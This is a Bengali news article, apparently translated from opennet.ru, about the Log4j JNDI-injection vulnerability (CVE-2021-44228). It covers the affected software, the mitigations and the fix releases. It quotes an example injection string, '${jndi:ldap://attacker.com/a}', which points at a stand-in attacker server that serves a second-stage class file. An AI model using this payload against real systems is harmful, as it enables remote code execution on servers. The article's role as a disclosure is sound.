Apache Log4j-এ বিপর্যয়কর দুর্বলতা অনেক জাভা প্রকল্পকে প্রভাবিত করে

Apache Log4j-এ, জাভা অ্যাপ্লিকেশনগুলিতে লগিং সংগঠিত করার জন্য একটি জনপ্রিয় কাঠামো, একটি জটিল দুর্বলতা চিহ্নিত করা হয়েছে যা "{jndi:URL}" ফরম্যাটে বিশেষভাবে বিন্যাস করা মান যখন লগে লেখা হয় তখন নির্বিচারে কোড চালানোর অনুমতি দেয়৷ আক্রমণটি জাভা অ্যাপ্লিকেশনগুলিতে করা যেতে পারে যা বহিরাগত উত্স থেকে প্রাপ্ত মানগুলি লগ করে, উদাহরণস্বরূপ, ত্রুটি বার্তাগুলিতে সমস্যাযুক্ত মানগুলি প্রদর্শন করার সময়।

এটি উল্লেখ্য যে Apache Struts, Apache Solr, Apache Druid বা Apache Flink-এর মতো ফ্রেমওয়ার্ক ব্যবহার করা প্রায় সমস্ত প্রকল্পই সমস্যা দ্বারা প্রভাবিত হয়, যার মধ্যে রয়েছে Steam, Apple iCloud, Minecraft ক্লায়েন্ট এবং সার্ভার। আশা করা হচ্ছে যে দুর্বলতা কর্পোরেট অ্যাপ্লিকেশনগুলিতে ব্যাপক আক্রমণের তরঙ্গের দিকে নিয়ে যেতে পারে, অ্যাপাচি স্ট্রুটস ফ্রেমওয়ার্কের সমালোচনামূলক দুর্বলতার ইতিহাসের পুনরাবৃত্তি করতে পারে, যা একটি মোটামুটি অনুমান অনুসারে, ফরচুনের 65% দ্বারা ওয়েব অ্যাপ্লিকেশনগুলিতে ব্যবহৃত হয় 100টি কোম্পানি। দুর্বল সিস্টেমের জন্য নেটওয়ার্ক স্ক্যান করার প্রচেষ্টা সহ।

সমস্যাটি আরও বৃদ্ধি পেয়েছে যে একটি কার্যকরী শোষণ ইতিমধ্যে প্রকাশিত হয়েছে, তবে স্থিতিশীল শাখাগুলির জন্য সংশোধনগুলি এখনও সংকলিত হয়নি। CVE শনাক্তকারী এখনও বরাদ্দ করা হয়নি। সমাধানটি শুধুমাত্র log4j-2.15.0-rc1 পরীক্ষা শাখায় অন্তর্ভুক্ত করা হয়েছে। দুর্বলতা অবরুদ্ধ করার জন্য একটি সমাধান হিসাবে, log4j2.formatMsgNoLookups প্যারামিটারটিকে সত্য হিসাবে সেট করার সুপারিশ করা হয়৷

সমস্যাটি এই কারণে হয়েছিল যে log4j লগের লাইন আউটপুটে বিশেষ মাস্ক "{}" প্রক্রিয়াকরণ সমর্থন করে, যেখানে JNDI (জাভা নামকরণ এবং ডিরেক্টরি ইন্টারফেস) প্রশ্নগুলি চালানো যেতে পারে। আক্রমণটি "${jndi:ldap://attacker.com/a}" প্রতিস্থাপনের সাথে একটি স্ট্রিং পাস করে, যা প্রক্রিয়া করার পরে log4j আক্রমণকারী.com সার্ভারে জাভা ক্লাসের পাথের জন্য একটি LDAP অনুরোধ পাঠাবে . আক্রমণকারীর সার্ভার দ্বারা ফিরে আসা পথটি (উদাহরণস্বরূপ, http://second-stage.attacker.com/Exploit.class) বর্তমান প্রক্রিয়ার পরিপ্রেক্ষিতে লোড এবং কার্যকর করা হবে, যা আক্রমণকারীকে নির্বিচারে কোড চালানোর অনুমতি দেয় বর্তমান অ্যাপ্লিকেশনের অধিকার সহ সিস্টেম।

সংযোজন 1: দুর্বলতা শনাক্তকারী CVE-2021-44228 বরাদ্দ করা হয়েছে।

সংযোজন 2: রিলিজ log4j-2.15.0-rc1 দ্বারা সংযোজিত সুরক্ষা বাইপাস করার একটি উপায় চিহ্নিত করা হয়েছে। একটি নতুন আপডেট, log4j-2.15.0-rc2, দুর্বলতার বিরুদ্ধে আরও সম্পূর্ণ সুরক্ষার সাথে প্রস্তাব করা হয়েছে। কোডটি একটি ভুল ফরম্যাট করা JNDI URL ব্যবহার করার ক্ষেত্রে অস্বাভাবিক সমাপ্তির অনুপস্থিতির সাথে সম্পর্কিত পরিবর্তনকে হাইলাইট করে।

উত্স: opennet.ru